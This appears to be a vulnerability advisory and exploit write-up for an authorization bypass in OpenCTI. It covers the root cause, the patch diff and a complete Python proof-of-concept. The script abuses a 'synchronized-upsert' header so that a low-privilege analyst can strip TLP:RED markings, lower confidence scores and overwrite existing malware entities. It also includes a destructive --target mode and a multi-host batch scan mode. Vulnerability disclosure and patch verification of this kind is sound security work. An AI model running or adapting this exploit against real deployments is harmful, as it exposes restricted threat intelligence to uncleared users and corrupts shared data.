#Summary

CVE-2026-35210 is an authorization bypass vulnerability in OpenCTI prior to version 7.260326.0. An authenticated user holding the baseline KNOWLEDGE_KNUPDATE capability can inject a synchronized-upsert: true HTTP header to bypass confidence-level validation and object marking restrictions, allowing them to downgrade the confidence of high-confidence intelligence, strip security markings such as TLP:RED, and expose restricted objects to users without appropriate clearance. CVSS score: 7.1 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

#Affected versions

#Root cause analysis

#Trust-boundary inversion before authentication

The vulnerability lies in the order of operations in src/http/httpAuthenticatedContext.js:52:

export const createAuthenticatedContext = async (req, res, contextName) => {
  const executeContext = executionContext(contextName);
  ...
  executeContext.synchronizedUpsert = req.headers['synchronized-upsert'] === 'true'; // If full sync needs to be done
  // region handle user
  try {
    const user = await authenticateUserFromRequest(executeContext, req);

The synchronized-upsert header - which enables a privileged "full synchronization" mode meant only for internal workers - is copied directly into the authorization context before the caller is authenticated. No capability check occurs at this point, and nothing downstream re-validates the flag against the authenticated user.

#The synchronized-upsert flag disables three guardrails

Once set, context.synchronizedUpsert bypasses three distinct protections:

1. Attribute-level confidence validation (src/utils/upsert-utils.js:442)

const isFullSync = context.synchronizedUpsert || attribute.upsert_force_replace;
...
const canBeUpsert = isConfidenceMatch && attribute.upsert && isInputWithData;
if (isStructuralUpsert || canBeUpsert || isFullSync || isCurrentlyEmpty) {
  pushAll(inputs, buildAttributeUpdate(isFullSync, attribute, resolvedElement[attributeKey], inputData));
}

Normally, an upsert can only overwrite an attribute if the incoming confidence meets or exceeds the existing confidence (isConfidenceMatch). With the header set, isFullSync short-circuits this check, and every attribute in the mutation is written unconditionally.

2. Object marking restrictions (src/utils/upsert-utils.js:474)

const isUpsertSynchro = context.synchronizedUpsert;
...
if (allowedOperation && (inputToCurrentDiff.length + currentToInputDiff.length) > 0) {
  if (isUpsertSynchro) {
    inputs.push({ key: inputField, value: fullPatchInputData, operation: UPDATE_OPERATION_REPLACE });
  } else {
    // ... normal ADD-only merge
  }
}

Normally, marking operations can only ADD new markings; they cannot downgrade or remove existing ones. The handleMarkingOperations function specifically protects against TLP downgrades on the ADD branch. With the header set, the operation is upgraded to REPLACE, and the marking protection is bypassed entirely.

3. Non-destructive upsert semantics (src/database/middleware.ts:3147)

const updateOpts = { ...opts, upsert: context.synchronizedUpsert !== true };
return await updateAttributeMetaResolved(context, user, resolvedElement, inputs, updateOpts);

Normally, when upserts rename an entity, the old name is preserved as an alias. With the header set, the upsert is destructive, and the old name is silently dropped.

#How input reaches the bypass

The critical path is through an *Add mutation, not an *EditField mutation. OpenCTI deduplicates on creation: if you call malwareAdd with a name that already exists, the platform silently routes the request into upsertElement() rather than creating a duplicate (src/database/middleware.ts:3643).

Since a Malware's standard ID is derived purely from its name field, an attacker can trigger an upsert by sending:

mutation ($input: MalwareAddInput!) { malwareAdd(input: $input) { id confidence objectMarking { definition } } }

with a name matching an existing object. The malwareAdd mutation is gated on @auth(for: [KNOWLEDGE_KNUPDATE]) - the baseline analyst capability. With the header present, the upsert runs without confidence or marking validation.

#Patch diff

The fix moves the decision from "is the header present" to "is the authenticated caller authorized to use the header".

In src/domain/user.js, the authentication function now checks for BYPASS capability before allowing the header:

 const internalAuthenticateUser = async (context, req, user) => {
   let authenticatedUser = user;
   const settings = await getEntityFromCache(context, SYSTEM_USER, ENTITY_TYPE_SETTINGS);
+  const synchronizedUpsert = req.headers['synchronized-upsert'] === 'true';
+  if (synchronizedUpsert && !isBypassUser(authenticatedUser)) {
+    throw FunctionalError('Cant use synchronized-upsert header without bypass capability');
+  }
   const applicantId = req.headers['opencti-applicant-id'];
   if (applicantId && isBypassUser(authenticatedUser)) {

The flag is then recorded on the user's origin metadata (for audit logging) rather than being read directly from the request:

-export const userWithOrigin = (req, user) => {
+export const userWithOrigin = (req, user, originHeaders = {}) => {
   ...
+    ...originHeaders,
   };
   return { ...user, origin };

And the vulnerable line in httpAuthenticatedContext.js is replaced with a capability check:

   executeContext.previousStandard = req.headers['previous-standard'];
-  executeContext.synchronizedUpsert = req.headers['synchronized-upsert'] === 'true';
   // region handle user
   try {
     const user = await authenticateUserFromRequest(executeContext, req);
     if (user) {
+      // If full sync needs to be done : used only by bypass user (worker)
+      executeContext.synchronizedUpsert = user.origin?.synchronized_upsert === true || (req.headers['synchronized-upsert'] === 'true' && isBypassUser(user));

#Proof of concept

#exploit.py - OpenCTI Authorization Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-35210 - OpenCTI authorization bypass via the `synchronized-upsert` HTTP header
Affected: OpenCTI (opencti-graphql) < 7.260326.0
Type: Authorization Bypass (CWE-639 / CWE-863) - confidence-level and object-marking
      guardrail bypass leading to integrity loss and re-exposure of restricted intelligence

OpenCTI reserves a privileged "full synchronization" upsert mode for its internal worker
identity. Before 7.260326.0 that mode is switched on by a request header, and the header is
copied into the authorization context *before* the caller is authenticated, so no capability
is ever checked. Any account holding KNOWLEDGE_KNUPDATE (the baseline analyst capability)
can send it and thereby:

  * overwrite attributes of intelligence whose confidence is above their own ceiling
  * REPLACE (not merely ADD to) the objectMarking set, i.e. strip TLP:RED / downgrade to
    TLP:CLEAR, making restricted objects readable by principals with no clearance
  * destructively rename entities instead of preserving the old name as an alias

The bypass is reached through an *Add* mutation, not an *EditField* mutation: OpenCTI
deduplicates on creation, so "create a Malware named X" where X already exists is silently
routed into upsertElement(), and the header decides whether that upsert respects the
guardrails. Both requests return HTTP 200 with no GraphQL error - only the persisted state
differs. That silence is why this needs a control run to demonstrate.

Detection is a paired A/B test:
  1. send the degrading upsert WITHOUT the header  -> state must be unchanged (guardrail held)
  2. send the identical upsert WITH the header     -> state changes  (guardrail bypassed)
A target is vulnerable only if run 1 changes nothing and run 2 changes something.

By default the exploit operates on its own freshly created canary entity, so it proves
exploitability without degrading any real intelligence on the target platform. Point it at
existing data with --target only when the engagement authorizes destructive proof.

Requires credentials for any low-privileged account (KNOWLEDGE_KNUPDATE). That is the
vulnerability's own precondition, not a limitation of this tool.

Usage:
  python exploit.py --host 192.168.1.10 --port 8080 --username [email protected] --password 'Pass123'
  python exploit.py --host https://opencti.corp.com --username [email protected] --password 'Pass123'
  python exploit.py --host https://opencti.corp.com/public/graphql --token <api-token>
  python exploit.py --host 10.0.0.5 --username [email protected] --password 'Pass123' \
                    --target "APT28 Dropper"      # DESTRUCTIVE: degrades existing intelligence
  python exploit.py --list targets.txt --workers 20 --username [email protected] --password 'Pass123'
"""

import argparse
import json
import random
import ssl
import sys
import urllib.error
import urllib.request
from urllib.parse import urlparse

CVE_ID = "CVE-2026-35210"
VULN_TYPE = "Authorization Bypass"

DEFAULT_PORT = 8080
DEFAULT_PATH = "/graphql"

# The platform compares with `req.headers['synchronized-upsert'] === 'true'`, so the value
# must be exactly this lowercase string. 'True', '1' and 'yes' are silent no-ops.
SYNC_HEADER = "synchronized-upsert"
SYNC_VALUE = "true"

# Introspection is disabled by default on OpenCTI, so every document is hard-coded.
Q_LOGIN = "mutation ($input: UserLoginInput!) { token(input: $input) }"
Q_ME = ("query { me { id name user_email effective_confidence_level { max_confidence } "
        "capabilities { name } } about { version } }")
Q_MARKINGS = ("query { markingDefinitions(first: 200) { edges { node "
              "{ id standard_id definition definition_type x_opencti_order } } } }")
Q_ADD = ("mutation ($input: MalwareAddInput!) { malwareAdd(input: $input) "
         "{ id standard_id name confidence description objectMarking { standard_id definition } } }")
Q_READ_FILTER = ("query ($name: Any!) { malwares(filters: { mode: and, filters: "
                 "[{ key: [\"name\"], values: [$name] }], filterGroups: [] }, first: 20) "
                 "{ edges { node { id standard_id name confidence description "
                 "objectMarking { standard_id definition } } } } }")
Q_READ_SEARCH = ("query ($search: String) { malwares(search: $search, first: 50) "
                 "{ edges { node { id standard_id name confidence description "
                 "objectMarking { standard_id definition } } } } }")
Q_DELETE = "mutation ($id: ID!) { malwareEdit(id: $id) { delete } }"

TAMPER_DESCRIPTION = "tampered via CVE-2026-35210"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


class TargetError(Exception):
    """Anything that stops the A/B test from running to a verdict."""


class OpenCTIClient:
    """Minimal GraphQL client. Network I/O only - no assumptions about the target host."""

    def __init__(self, host, port, use_tls, path=DEFAULT_PATH, timeout=60, insecure=False):
        scheme = "https" if use_tls else "http"
        self.label = f"{scheme}://{host}:{port}"
        self.url = f"{scheme}://{host}:{port}{path}"
        self.timeout = timeout
        self.cookie = None
        self.bearer = None
        self.version = None
        if use_tls and insecure:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            self.ssl_context = ctx
        else:
            self.ssl_context = None

    def gql(self, query, variables=None, sync_upsert=False):
        """POST one GraphQL document. Returns (data, errors, status). Never raises on a
        GraphQL-level error - only on transport failures."""
        body = json.dumps({"query": query, "variables": variables or {}}).encode()
        req = urllib.request.Request(self.url, data=body, method="POST")
        req.add_header("Content-Type", "application/json")
        req.add_header("Accept", "application/json")
        if self.bearer:
            req.add_header("Authorization", "Bearer " + self.bearer)
        if self.cookie:
            req.add_header("Cookie", self.cookie)
        if sync_upsert:
            req.add_header(SYNC_HEADER, SYNC_VALUE)
        try:
            kwargs = {"timeout": self.timeout}
            if self.ssl_context is not None:
                kwargs["context"] = self.ssl_context
            with urllib.request.urlopen(req, **kwargs) as resp:
                raw, status, headers = resp.read(), resp.getcode(), resp.headers
        except urllib.error.HTTPError as e:
            raw, status, headers = e.read(), e.code, e.headers
        except Exception as e:
            raise TargetError(f"unreachable ({e.__class__.__name__}: {e})")
        try:
            out = json.loads(raw.decode("utf-8", "replace"))
        except ValueError:
            snippet = raw[:120].decode("utf-8", "replace").replace("\n", " ")
            raise TargetError(f"non-JSON response from {self.url} (HTTP {status}): {snippet}")
        set_cookie = headers.get("Set-Cookie")
        if set_cookie and "opencti_session" in set_cookie:
            self.cookie = set_cookie.split(";")[0]
        return out.get("data"), out.get("errors"), status

    def login(self, username, password):
        # The `token` mutation is @public. It answers null for accounts without API-token
        # rights, but still issues the opencti_session cookie, which is what we keep.
        data, errors, _ = self.gql(Q_LOGIN, {"input": {"email": username, "password": password}})
        if not self.cookie:
            raise TargetError("login failed: " + err_text(errors, "no opencti_session cookie issued"))
        return data

    def whoami(self):
        data, errors, _ = self.gql(Q_ME)
        if not data or not data.get("me"):
            raise TargetError("authentication rejected: " + err_text(errors, "me{} returned null"))
        self.version = (data.get("about") or {}).get("version")
        return data["me"]

    def find_malware(self, name):
        """Exact-name lookup. Tries the structured filter first, falls back to full-text
        search, because the Filter input shape has drifted between OpenCTI majors."""
        wanted = name.strip().lower()
        for query, variables in ((Q_READ_FILTER, {"name": name}), (Q_READ_SEARCH, {"search": name})):
            data, errors, _ = self.gql(query, variables)
            if errors and not data:
                continue
            edges = ((data or {}).get("malwares") or {}).get("edges") or []
            for edge in edges:
                node = edge.get("node") or {}
                if (node.get("name") or "").strip().lower() == wanted:
                    return node
            if edges:
                return None
        return None

    def upsert(self, payload, sync_upsert):
        data, errors, status = self.gql(Q_ADD, {"input": payload}, sync_upsert=sync_upsert)
        return (data or {}).get("malwareAdd"), errors, status


def err_text(errors, fallback="no error returned"):
    if not errors:
        return fallback
    parts = []
    for e in errors[:3]:
        msg = e.get("message", "?")
        code = ((e.get("extensions") or {}).get("code")) or e.get("name")
        parts.append(f"{msg}{' [' + code + ']' if code else ''}")
    return "; ".join(parts)


def snapshot(node):
    """The three observable fields the guardrails protect, normalised for comparison."""
    if not node:
        return None
    return {
        "standard_id": node.get("standard_id"),
        "confidence": node.get("confidence"),
        "description": node.get("description"),
        "markings": sorted(m.get("definition") for m in (node.get("objectMarking") or [])),
    }


def describe(state):
    if not state:
        return "not visible"
    marks = ", ".join(state["markings"]) if state["markings"] else "none"
    return f"confidence={state['confidence']} markings=[{marks}] description={state['description']!r}"


def pick_marking(client):
    """Highest-ranked marking the account can see - the most convincing one to strip.
    Returns (standard_id, definition) or (None, None) if markings are unavailable."""
    data, _errors, _ = client.gql(Q_MARKINGS)
    edges = ((data or {}).get("markingDefinitions") or {}).get("edges") or []
    nodes = [e.get("node") or {} for e in edges]
    nodes = [n for n in nodes if n.get("standard_id")]
    if not nodes:
        return None, None
    tlp = [n for n in nodes if (n.get("definition_type") or "").upper() == "TLP"]
    pool = tlp or nodes
    best = max(pool, key=lambda n: n.get("x_opencti_order") or 0)
    return best.get("standard_id"), best.get("definition")


def run_ab_test(client, opts, say):
    """Core A/B test. `say` receives progress lines; it prints in single-target mode and is
    a no-op in scan mode. Returns (success, evidence, detail) where detail carries the raw
    responses for reporting."""
    detail = {}

    if opts.get("token"):
        client.bearer = opts["token"]
    else:
        client.login(opts["username"], opts["password"])
    me = client.whoami()
    caps = [c.get("name") for c in (me.get("capabilities") or [])]
    ceiling = (me.get("effective_confidence_level") or {}).get("max_confidence")
    detail["identity"] = {"user": me.get("user_email") or me.get("name"), "capabilities": caps,
                          "max_confidence": ceiling, "version": client.version}
    say(2, f"Authenticated as {me.get('user_email')} - capabilities {caps}, "
           f"max_confidence {ceiling}, platform {client.version}")
    if "BYPASS" in caps:
        raise TargetError("account holds BYPASS; it is *allowed* to use the header, so the "
                          "test proves nothing - use a plain KNOWLEDGE_KNUPDATE account")
    if "KNOWLEDGE_KNUPDATE" not in caps:
        raise TargetError("account lacks KNOWLEDGE_KNUPDATE; it cannot reach the upsert path")

    # -- pick or create the object the A/B test operates on -----------------------------
    if opts.get("target"):
        name = opts["target"]
        say(3, f"Using existing entity {name!r} (DESTRUCTIVE mode)")
        node = client.find_malware(name)
        if not node:
            raise TargetError(f"no Malware named {name!r} is readable by this account")
        canary_id = None
    else:
        name = "poc-{}-{:08x}".format(CVE_ID, random.getrandbits(32))
        marking_id, marking_label = pick_marking(client)
        say(3, f"Creating canary entity {name!r}"
               + (f" marked {marking_label}" if marking_label else " (no marking available)"))
        payload = {"name": name, "description": "canary baseline", "confidence": 100}
        if marking_id:
            payload["objectMarking"] = [marking_id]
        node, errors, _ = client.upsert(payload, sync_upsert=False)
        if not node:
            raise TargetError("canary creation failed: " + err_text(errors))
        canary_id = node.get("id")
    detail["canary_id"] = canary_id
    detail["entity_name"] = name

    before = snapshot(client.find_malware(name) or node)
    if not before:
        raise TargetError(f"entity {name!r} is not readable after creation")
    detail["before"] = before
    say(4, f"Baseline persisted state: {describe(before)}")

    # The guardrails can only be observed if there is something for them to protect: the
    # incoming confidence must be strictly below the existing one, and/or a marking must
    # exist that a REPLACE could strip.
    degraded = opts.get("confidence", 1)
    conf_signal = isinstance(before["confidence"], int) and before["confidence"] > degraded
    mark_signal = bool(before["markings"])
    if not conf_signal and not mark_signal:
        raise TargetError(
            f"no guardrail is engaged on {name!r} (confidence {before['confidence']}, no markings) "
            "- nothing would distinguish a bypass from a legitimate edit")

    payload = {"name": name, "confidence": degraded, "description": TAMPER_DESCRIPTION}
    if mark_signal:
        # Empty list: inputResolveRefs skips it for ref resolution but leaves the key in the
        # patch, so the REPLACE branch fires with an empty ref list and deletes every marking.
        payload["objectMarking"] = []
    detail["payload"] = payload

    # -- run 1: control, no header ------------------------------------------------------
    say(5, "Control run: identical degrading upsert WITHOUT the header")
    node_ctl, err_ctl, status_ctl = client.upsert(payload, sync_upsert=False)
    detail["control_response"] = {"status": status_ctl, "data": node_ctl, "errors": err_ctl}
    after_ctl = snapshot(client.find_malware(name))
    detail["after_control"] = after_ctl
    say(5, f"  -> HTTP {status_ctl}, errors={err_text(err_ctl, 'none')}; state: {describe(after_ctl)}")

    if after_ctl is None:
        raise TargetError("entity disappeared after the control run")
    if after_ctl != before:
        return False, ("control run already changed the entity - the confidence/marking "
                       "guardrails are not engaged for this account, so no bypass is "
                       "demonstrable here"), detail

    # -- run 2: exploit, one extra header ------------------------------------------------
    say(6, f"Exploit run: byte-identical request plus '{SYNC_HEADER}: {SYNC_VALUE}'")
    node_exp, err_exp, status_exp = client.upsert(payload, sync_upsert=True)
    detail["exploit_response"] = {"status": status_exp, "data": node_exp, "errors": err_exp}
    after_exp = snapshot(client.find_malware(name))
    detail["after_exploit"] = after_exp
    say(6, f"  -> HTTP {status_exp}, errors={err_text(err_exp, 'none')}; state: {describe(after_exp)}")

    if after_exp is None:
        # A patched build can reject the whole request on the bearer-token route, which
        # leaves the session unauthenticated rather than merely ignoring the header.
        return False, ("entity unreadable after the header run: " + err_text(err_exp, "no error") +
                       " - consistent with a patched platform rejecting the header"), detail

    if after_exp == before:
        return False, ("header ignored - state identical after both runs "
                       f"({describe(before)}); platform reports version {client.version}, "
                       "patched (>= 7.260326.0) or otherwise not vulnerable"), detail

    if after_exp["standard_id"] != before["standard_id"]:
        return False, ("a different entity was written (standard_id changed) - the name did "
                       "not collide with the target, so this was a creation, not an upsert"), detail

    changes = []
    if after_exp["confidence"] != before["confidence"]:
        changes.append(f"confidence {before['confidence']} -> {after_exp['confidence']}")
    if after_exp["markings"] != before["markings"]:
        changes.append("markings [{}] -> [{}]".format(", ".join(before["markings"]) or "-",
                                                      ", ".join(after_exp["markings"]) or "-"))
    if after_exp["description"] != before["description"]:
        changes.append(f"description {before['description']!r} -> {after_exp['description']!r}")
    detail["changes"] = changes

    evidence = ("'{}: {}' bypassed authorization for {} (max_confidence {}, no BYPASS): {} on {} "
                "- the identical request without the header changed nothing").format(
        SYNC_HEADER, SYNC_VALUE, detail["identity"]["user"], ceiling, "; ".join(changes), name)
    return True, evidence, detail


def cleanup(client, detail, say):
    """Best-effort removal of the canary. A KNOWLEDGE_KNUPDATE-only account cannot delete,
    so this usually fails - report it rather than pretend the platform was left clean."""
    canary_id = detail.get("canary_id")
    if not canary_id:
        return None
    data, errors, _ = client.gql(Q_DELETE, {"id": canary_id})
    if ((data or {}).get("malwareEdit") or {}).get("delete"):
        say(7, f"Canary {detail['entity_name']} deleted")
        return True
    say(7, f"Canary {detail['entity_name']} could NOT be deleted ({err_text(errors)}) "
           "- it remains on the platform; remove it manually")
    return False


def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    opts = kwargs
    try:
        client = OpenCTIClient(host, port, use_tls, path,
                               timeout=opts.get("timeout", 60), insecure=opts.get("insecure", False))
        success, evidence, detail = run_ab_test(client, opts, lambda *a: None)
        if opts.get("do_cleanup", True):
            try:
                cleanup(client, detail, lambda *a: None)
            except Exception:
                pass
        return success, evidence
    except TargetError as e:
        return False, str(e)
    except Exception as e:
        return False, f"error ({e.__class__.__name__}: {e})"


def _parse_target(line: str, default_port: int, default_path: str = DEFAULT_PATH):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, path, opts):
    header(host, port)
    client = OpenCTIClient(host, port, use_tls, path,
                           timeout=opts["timeout"], insecure=opts["insecure"])
    step(1, f"Authenticating against {client.url}")
    try:
        success, evidence, detail = run_ab_test(client, opts, step)
    except TargetError as e:
        section("ABORTED", str(e))
        done(False, str(e))

    section("BASELINE STATE", json.dumps(detail.get("before"), indent=2))
    section("UPSERT PAYLOAD (sent twice, identical)", json.dumps(detail.get("payload"), indent=2))
    section("CONTROL RUN - no header (server response)",
            json.dumps(detail.get("control_response"), indent=2))
    section("STATE AFTER CONTROL RUN", json.dumps(detail.get("after_control"), indent=2))
    section("EXPLOIT RUN - synchronized-upsert: true (server response)",
            json.dumps(detail.get("exploit_response"), indent=2))
    section("STATE AFTER EXPLOIT RUN", json.dumps(detail.get("after_exploit"), indent=2))
    if detail.get("changes"):
        section("PERSISTED CHANGES ATTRIBUTABLE TO THE HEADER ALONE",
                "\n".join("* " + c for c in detail["changes"]))

    if opts["do_cleanup"]:
        try:
            cleanup(client, detail, step)
        except TargetError as e:
            step(7, f"Cleanup skipped: {e}")

    done(success, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/graphql)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--username", default="[email protected]",
                        help="Account to authenticate as - any KNOWLEDGE_KNUPDATE user (default: [email protected])")
    parser.add_argument("--password", default="AnalystPass123",
                        help="Password for --username (default: AnalystPass123)")
    parser.add_argument("--token", default=None,
                        help="API token to use instead of --username/--password")
    parser.add_argument("--target", default=None,
                        help="Name of an existing Malware entity to degrade. DESTRUCTIVE. "
                             "Omit to run against a self-created canary entity (default)")
    parser.add_argument("--confidence", type=int, default=1,
                        help="Degraded confidence value to write (default: 1)")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the canary entity instead of attempting to delete it")
    parser.add_argument("--timeout", type=int, default=60, help="Per-request timeout (default: 60)")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    opts = {
        "username": args.username,
        "password": args.password,
        "token": args.token,
        "target": args.target,
        "confidence": args.confidence,
        "timeout": args.timeout,
        "insecure": args.insecure,
        "do_cleanup": not args.no_cleanup,
    }

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **opts)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, DEFAULT_PATH)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, opts)

#Usage

To check if a target is vulnerable (non-destructive, creates a canary entity):

python exploit.py --host 10.20.30.40 --port 8080 \
        --username [email protected] --password 'Analyst!2026'

To perform destructive proof against an existing malware object:

python exploit.py --host 10.20.30.40 --port 8080 \
        --username [email protected] --password 'Analyst!2026' \
        --target "APT28 Malware Variant"

To scan a fleet of targets:

python exploit.py --list targets.txt --workers 20 \
        --username [email protected] --password 'Analyst!2026'

Expected output on vulnerable target (exit code 0):

RESULT  : SUCCESS
EVIDENCE: 'synchronized-upsert: true' bypassed authorization for [email protected]: confidence 95 -> 1; markings [TLP:RED] -> []; description 'original' -> 'tampered via CVE-2026-35210' on LabCrypter

Expected output on patched target (exit code 1):

RESULT  : FAILURE
EVIDENCE: header ignored - state identical after both runs (confidence=95 markings=[TLP:RED]); platform reports version 7.260326.0, patched

#Exploitation notes

#Preconditions

#Reliability

100% reliable when preconditions are met. The header value must be exactly the lowercase string true (req.headers['synchronized-upsert'] === 'true'). Values like True, 1, or yes are silent no-ops.

#Impact

An attacker with a low confidence ceiling can:

#Chaining potential

This is a single-request authorization bypass with direct integrity and confidentiality impact. No chaining required. However, the destruction of marking and confidence metadata can be chained with other information disclosure vectors.

#References